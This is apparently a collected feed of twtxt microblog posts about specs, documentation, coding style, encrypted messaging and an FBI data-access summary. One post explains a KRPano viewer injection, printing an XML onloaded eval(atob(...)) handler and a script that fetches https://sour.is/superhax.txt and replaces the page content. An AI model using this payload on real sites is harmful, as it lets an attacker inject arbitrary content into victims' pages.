Saw this on Mastodon:

https://racingbunny.com/@mookie/114718466149264471

18 rules of Software Engineering

1. You will regret complexity when on-call
   
2. Stop falling in love with your own code
   
3. Everything is a trade-off. There’s no “best” 3. Every line of code you write is a liability 4. Document your decisions and designs
   
4. Everyone hates code they didn’t write
   
5. Don’t use unnecessary dependencies
   
6. Coding standards prevent arguments
   
7. Write meaningful commit messages
   
8. Don’t ever stop learning new things
   
9. Code reviews spread knowledge
   
10. Always build for maintainability
    
11. Ask for help when you’re stuck
    
12. Fix root causes, not symptoms
    
13. Software is never completed
    
14. Estimates are not promises
    
15. Ship early, iterate often
    
16. Keep. It. Simple.
    

Solid list, even though 14 is up for debate in my opinion: Software can be completed. You have a use case / problem, you solve that problem, done. Your software is completed now. There might still be bugs and they should be fixed – but this doesn’t “add” to the program. Don’t use “software is never done” as an excuse to keep adding and adding stuff to your code.

@movq@www.uninformativ.de ok, I have included a small modification in the documentation to allow you to reply in your own thread: https://texudus.readthedocs.io/en/latest/
You can see my reply: https://andros.dev/texudus.txt
Don’t delete anything and give me time to make my modifications to the client.

@movq@www.uninformativ.de @kat@yarn.girlonthemoon.xyz @quark@ferengi.one In 2014 one person created protocol ii. Later it forked in IDEC. Why i said this? Because it’s simple “federated” forum-like protocol where from your station fetch another every 5-10 minutes. Stations has topic-based channels like idec.talks, linux.16, haiku.os, zx.spectrum. In short it’s FIDO but.. more modern? Documentation: https://github.com/idec-net/new-docs (mostly Russian, but you can use translator, also protocol already translated to english)

@bender@twtxt.net Yes, you right. But is premium for more than that.
I use a feature I love a lot: customising different searches with different themes or links.
It’s easy to understand with an example. I have a search with the name “Django”. I set sources: Django documentation, stack overflow, topic “programming” and so on. It’s very quick to find Django solutions.
I also have another way to find my stuff: search my blog and repositories.
I had problems paying for the first mouths, now it’s a working tool for me.

@bender@twtxt.net You said:

as long as those working on clients can reach an agreement on how to move forward. That has proven, though, to be a pickle in the past.

I think this is because we probably need to start thinking about three different aspects to the ecosystem and document them out:

• Specifications (as they are now)
  
• Server recommendations (e.g: Timeline, yarnd, etc)
  
• Client recommendations (e.g: jenny, tt, tt2, twet, etc)

@movq@www.uninformativ.de @aelaraji@aelaraji.com Yes @david@collantes.us It would be good for me, or new developers, if the documentation were agnostic. And if possible with many example cases. I’m fine-tuning the code as you inform me of bugs, trial and error. It’s a lesson to be learned for the future.

@kat@yarn.girlonthemoon.xyz pandoc is a joy! I haven’t used any Microsoft word processing tools since forever. They want a Word document? Pandoc to the rescue!

@bender@twtxt.net awww thank you :‘))) you all are too nice!!! i really wanted to share how i did this because i think i’m the first person to publicly attempt a production instance of dreamwidth code in docker, so i’m glad i did a good job at documenting it!!!!!!!

@kat@yarn.girlonthemoon.xyz woah! That’s something else, kat! Heck, I document pretty much everything (more at work than anywhere else), and I have got to tell you, you put my “documentation” to shame. LOL. Very well done!

@javivf@adn.org.es Generally speaking if it has been reviewed, discussed and merged, then we accept it as a standard to the set of specs we support. However we might want to document this process and set some guidelines about this to be clear 🤣 We’ve been fairly lax/lose here and I think that’s okay given teh size of our community 👌

New version release of twtxt-el!

• Fixed many bugs.
  
• New back buttons.
  
• Updated documentation.
  

I am currently fixing an important bug that break the timeline in some cases and I am working around direct messages.

#twtxt #twtxt-el

I have released new updates to the twtxt.el client.

• New feature: Notifications.
  
• Updated: Improved user interface for new posts.
  
• Updated: Documentation.
  
• Updated: Some UI elements and included information about shortcuts in each buffer.
  
• Minor fixes.
  Source code: https://codeberg.org/deadblackclover/twtxt-el
  In the next version: You will be able to send direct messages.
  Enjoy!
  #emacs #twtxt #twtxtel

@andros@twtxt.andros.dev Just before the pandemic, we watched Uncle Bob videos once a week in the lunch break. While almost all of my old teammates agreed with his views, I partially found them to be very odd and even counterproductive.

I didn’t come across John Ousterhout or any of his work before, at least not deliberately. So, this document is my first contact.

I only finished the chapter on comments and I totally agree with John so far. This document just manifests to me how weird Bob’s view is on certain subjects.

I always disagreed with the concept of a maximum method length. Sure, generally, shorter functions are probably better, but it always depends. And I’ve certainly seen super short methods that just made the code flow even worse to follow. While “one function should only do one thing” is a nice general rule, I’m 100% in team John with the shown examples. There are cases, where this doesn’t help readability at all. Not even close.

To me, a function always has to justify its existence. Either by reusing it at least at another place or by coming up with dedicated tests for it. But if it is just called once and there are no tests, I almost always decide against it. Personally, I don’t mind longer methods. We just recently had a discussion about that and I lost against two other workmates who are more in Uncle Bob’s camp, they refactored one medium sized method into three very short ones. Luckily, we agree on most other topics.

Lol, what!? The shorter the method, the longer the variables inside? I first thought I misread or the writeup mixed it up. I’ll always do it the other way around.

I’ve been also bitten badly by outdated comments in the past, but Bob must have worked on really terrible projects to end up with such an attitude to dislike comments. Oh well. No doubt, I’ve come across by several orders of magnitude more useless comments, in my experience (autogenerated) JavaDocs fall in the category more frequently than not. So, I know that there are different types of comments. A comment doesn’t automatically mean that it is good and justified.

But I also partially agree with Bob and John and think that a good name has a proper chance to save a comment. Though, when in doubt, I go John’s route and use a shorter name with a comment rather than use a kilometer long identifier. Writing good comments typically takes some time, sometimes much longer than writing the code. It regularly takes me several minutes. It’s a hard art.

I perhaps should read up on John’s work. He seems to be more reasonable and likeminded. :-) Let me continue to complete this document.

This document is the result of a series of discussions between Robert “Uncle Bob” Martin and John Ousterhout, held between September 2024 and February 2025. The text addresses three main topics: method length, comments, and Test Driven Development (TDD).
https://github.com/johnousterhout/aposd-vs-clean-code/blob/main/README.md
This is something to read and reflect on for days.

here is my progress so far: https://github.com/eapl-gemugami/twtxt-direct-message-php
The encryption part seems to work, if I decrypt it the message with OpenSSL.
I think it can help you for some key parts not well explained in OpenSSL documentation.

@andros@twtxt.andros.dev reading your spec I wrote a few notes here: https://github.com/eapl-gemugami/twtxt-direct-message-php/blob/main/direct_message_spec.md

@arne@uplegger.eu I haven’t check your repo yet, although you are using sodium, right?

@andros@twtxt.andros.dev Could you share (perhaps in the extension document) the private key for alice?

I want to compare that I can read the encrypted message both from OpenSSL CLI and from the PHP OpenSSL library, following the spec.

@andros@twtxt.andros.dev I suggest to not touch it and work on a different project instead. :-D

No, in all seriousness, that’s a tough one. Try to figure out the requirements and write tests to cover them. In my experience, if there is no good documention, tests might also be lacking. It goes without saying that you have to understand the code segments first before you can begin to refactor them. Commit even earlier and more often than usual, this will help you bisecting potentially introduced bugs later on. Basically baby steps.

But it also depends on the amount of refactoring required. Maybe just scrap it entirely and start from scratch. This might not be feasible due to e.g. the overall project size, though.

Have you ever had to refactor a project that was not documented? Any suggestions?

a year ago I had a struggle to find documentation about it and now it seems there are more examples, cool!

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

What should the advantage be to nick = _compared to just not defining a nick and let the client use the domain as the handle?

What is not intuitive is that you put something in the nick field that is not to be taken literary. The special meaning of _ is only clean if you read the documentation, compared to having something in nick that makes sense in the current context of the twtxt.txt.

I’m just having a similar issue with a podcast I just uploaded on Castopod (which supports ActivityPub).

My first thought was creating a subdomain with the name of the podcast mordiscos.eapl.me

Then I watched that the software allows many podcasts in the same domain, so I had to pick a handle:
https://mordiscos.eapl.me/@podcast

So now I have @podcast@mordiscos.eapl.me when this one is ‘more correct’ @mordiscos@podcast.eapl.me or it could even be @mordiscos.eapl.me
I wasn’t aware of all that when I setup Castopod (documentation might improve a lot, IMO)

My point here is that it’s something important to think from the start, otherwise is painful to change if it’s already being used like that.

Cleaned up my npm package for twthash; made it CommonJS compatible, added more documentation and even a test. Current version is 1.2.2

So, @prologic@twtxt.net, Yarn isn’t rendering the metadata as described on the format documentation. That is, ux2028 is ignored when Yarn renders the description metadata.

@prologic@twtxt.net

See https://dev.twtxt.net

Yes, that is exactly what I meant. I like that collection and “twtxt v2” feels like a departure.

Maybe there’s an advantage to grouping it into one spec, but IMO that shouldn’t be done at the same time as introducing new untested ideas.

See https://yarn.social (especially this section: https://yarn.social/#self-host) – It really doesn’t get much simpler than this 🤣

Again, I like this existing simplicity. (I would even argue you don’t need the metadata.)

That page says “For the best experience your client should also support some of the Twtxt Extensions…” but it is clear you don’t need to. I would like it to stay that way, and publishing a big long spec and calling it “twtxt v2” feels like a departure from that. (I think the content of the document is valuable; I’m just carping about how it’s being presented.)

More thoughts about changes to twtxt (as if we haven’t had enough thoughts):

1. There are lots of great ideas here! Is there a benefit to putting them all into one document? Seems to me this could more easily be a bunch of separate efforts that can progress at their own pace:
   

1a. Better and longer hashes.

1b. New possibly-controversial ideas like edit: and delete: and location-based references as an alternative to hashes.

1c. Best practices, e.g. Content-Type: text/plain; charset=utf-8

1d. Stuff already described at dev.twtxt.net that doesn’t need any changes.

1. We won’t know what will and won’t work until we try them. So I’m inclined to think of this as a bunch of draft ideas. Maybe later when we’ve seen it play out it could make sense to define a group of recommended twtxt extensions and give them a name.

2. Another reason for 1 (above) is: I like the current situation where all you need to get started is these two short and simple documents:
   https://twtxt.readthedocs.io/en/latest/user/twtxtfile.html
   https://twtxt.readthedocs.io/en/latest/user/discoverability.html
   and everything else is an extension for anyone interested. (Deprecating non-UTC times seems reasonable to me, though.) Having a big long “twtxt v2” document seems less inviting to people looking for something simple. (@prologic@twtxt.net you mentioned an anonymous comment “you’ve ruined twtxt” and while I don’t completely agree with that commenter’s sentiment, I would feel like twtxt had lost something if it moved away from having a super-simple core.)

3. All that being said, these are just my opinions, and I’m not doing the work of writing software or drafting proposals. Maybe I will at some point, but until then, if you’re actually implementing things, you’re in charge of what you decide to make, and I’m grateful for the work.

I demand full 9 digit nano second timestamps and the full TZ identifier as documented in the tz 2024b database! I need to know if there was a change in daylight savings as per the locality in question as of the provided date.

@prologic@twtxt.net Thanks for writing that up!

I hope it can remain a living document (or sequence of draft revisions) for a good long time while we figure out how this stuff works in practice.

I am not sure how I feel about all this being done at once, vs. letting conventions arise.

For example, even today I could reply to twt abc1234 with “(#abc1234) Edit: …” and I think all you humans would understand it as an edit to (#abc1234). Maybe eventually it would become a common enough convention that clients would start to support it explicitly.

Similarly we could just start using 11-digit hashes. We should iron out whether it’s sha256 or whatever but there’s no need get all the other stuff right at the same time.

I have similar thoughts about how some users could try out location-based replies in a backward-compatible way (append the replyto: stuff after the legacy (#hash) style).

However I recognize that I’m not the one implementing this stuff, and it’s less work to just have everything determined up front.

Misc comments (I haven’t read the whole thing):

• Did you mean to make hashes hexadecimal? You lose 11 bits that way compared to base32. I’d suggest gaining 11 bits with base64 instead.

• “Clients MUST preserve the original hash” — do you mean they MUST preserve the original twt?

• Thanks for phrasing the bit about deletions so neutrally.

• I don’t like the MUST in “Clients MUST follow the chain of reply-to references…”. If someone writes a client as a 40-line shell script that requires the user to piece together the threading themselves, IMO we shouldn’t declare the client non-conforming just because they didn’t get to all the bells and whistles.

• Similarly I don’t like the MUST for user agents. For one thing, you might want to fetch a feed without revealing your identty. Also, it raises the bar for a minimal implementation (I’m again thinking again of the 40-line shell script).

• For “who follows” lists: why must the long, random tokens be only valid for a limited time? Do you have a scenario in mind where they could leak?

• Why can’t feeds be served over HTTP/1.0? Again, thinking about simple software. I recently tried implementing HTTP/1.1 and it wasn’t too bad, but 1.0 would have been slightly simpler.

• Why get into the nitty-gritty about caching headers? This seems like generic advice for HTTP servers and clients.

• I’m a little sad about other protocols being not recommended.

• I don’t know how I feel about including markdown. I don’t mind too much that yarn users emit twts full of markdown, but I’m more of a plain text kind of person. Also it adds to the length. I wonder if putting a separate document would make more sense; that would also help with the length.

O meu novo salva-vidas na hora de montar um novo site #vuejs sem as tretas dos build systems: Vue3 Tiny Template, da inimitável @b0rk@b0rk

Every time I start a Vue project, I get confused and waste 15 minutes reading the documentation and remembering how to set up Vue.

So this is a tiny template I made for myself so that I can avoid that next time. I don’t use a build process, instead it uses the CDN version of Vue and a single HTML / JS file.

https://github.com/jvns/vue3-tiny-template

@prologic@twtxt.net pretty nothing berger. The “blowout” was pretty tame coming from Linus kill yourself now. The world will be a better place” Torvold.

The issue was a dev making a “fix” that didn’t have a documented problem. They reused some specific low level functions they did not understand the reason they were made.

An official FBI document dated January 2021, obtained by the American association “Property of People” through the Freedom of Information Act.

This document summarizes the possibilities for legal access to data from nine instant messaging services: iMessage, Line, Signal, Telegram, Threema, Viber, WeChat, WhatsApp and Wickr. For each software, different judicial methods are explored, such as subpoena, search warrant, active collection of communications metadata (“Pen Register”) or connection data retention law (“18 USC§2703”). Here, in essence, is the information the FBI says it can retrieve:

• Apple iMessage: basic subscriber data; in the case of an iPhone user, investigators may be able to get their hands on message content if the user uses iCloud to synchronize iMessage messages or to back up data on their phone.

• Line: account data (image, username, e-mail address, phone number, Line ID, creation date, usage data, etc.); if the user has not activated end-to-end encryption, investigators can retrieve the texts of exchanges over a seven-day period, but not other data (audio, video, images, location).

• Signal: date and time of account creation and date of last connection.

• Telegram: IP address and phone number for investigations into confirmed terrorists, otherwise nothing.

• Threema: cryptographic fingerprint of phone number and e-mail address, push service tokens if used, public key, account creation date, last connection date.

• Viber: account data and IP address used to create the account; investigators can also access message history (date, time, source, destination).

• WeChat: basic data such as name, phone number, e-mail and IP address, but only for non-Chinese users.

• WhatsApp: the targeted person’s basic data, address book and contacts who have the targeted person in their address book; it is possible to collect message metadata in real time (“Pen Register”); message content can be retrieved via iCloud backups.

• Wickr: Date and time of account creation, types of terminal on which the application is installed, date of last connection, number of messages exchanged, external identifiers associated with the account (e-mail addresses, telephone numbers), avatar image, data linked to adding or deleting.

TL;DR Signal is the messaging system that provides the least information to investigators.

I remember when doing this process with my wife. During the halfway point we brought all sorts of documentation to show commingling of assets and showing we had “built a life together” .. we get to the interview and they just ask if we have a Costco card together. :|

good luck to you!

seeing typos in LaTeX documents always throws me off, my brain still wants to classify the whole format as respectable

I have now created a log documenting my attempts at making fudge: !fudgelog

@(frogorbits.com) @niplav@niplav.github.io “I sign a lot less stuff these days now that my phone can pretend to be a credit card. Also: an impostor with a quantum computer can’t pretend to sign documents on my behalf…” -> It’s good that pen signatures are completely unfakeable. They’re unbelievably reliable. We can’t just copy & photoshop around the edges. Better worry about those definitely-soon-to-exist quantum computers that might crack cryptography.

finally finished all the initial ugen documentation. everything now has a sentence or two. the generated page can be accessed from the ugen wiki page [[/proj/monolith/wiki/ugens]] #updates #monolith

been adopting a document-as-you go approach to the !monolith wiki. as I dogfood my software to make pieces an etudes like !breathing_cards, I write about it in a wiki stub. #workflow #documentation

The master plan is to export the !worgle bits of !monolith to a !weewiki, then begin adding user-level documentation that is able to dynamically reference bits of source code as another wiki page.

while eventually I hope to get all of literate org parts of !monolith posted online as a self contained !weewiki, I’ve decided to post little pieces as self-contained documents. here is a copy of !trigvm, the toy VM used to power a rhythmic computer-sequencer controlled entirely from the !monome_grid

I really want !btprnt to be integrated into !weewiki somehow. Both can speak !janet, and I already figured how to embed PNG images inside of an HTML document. In small doses, it could be fun. #halfbakedideas

documenting my experiments with twtxt/weewiki integration at the !twtxt_playground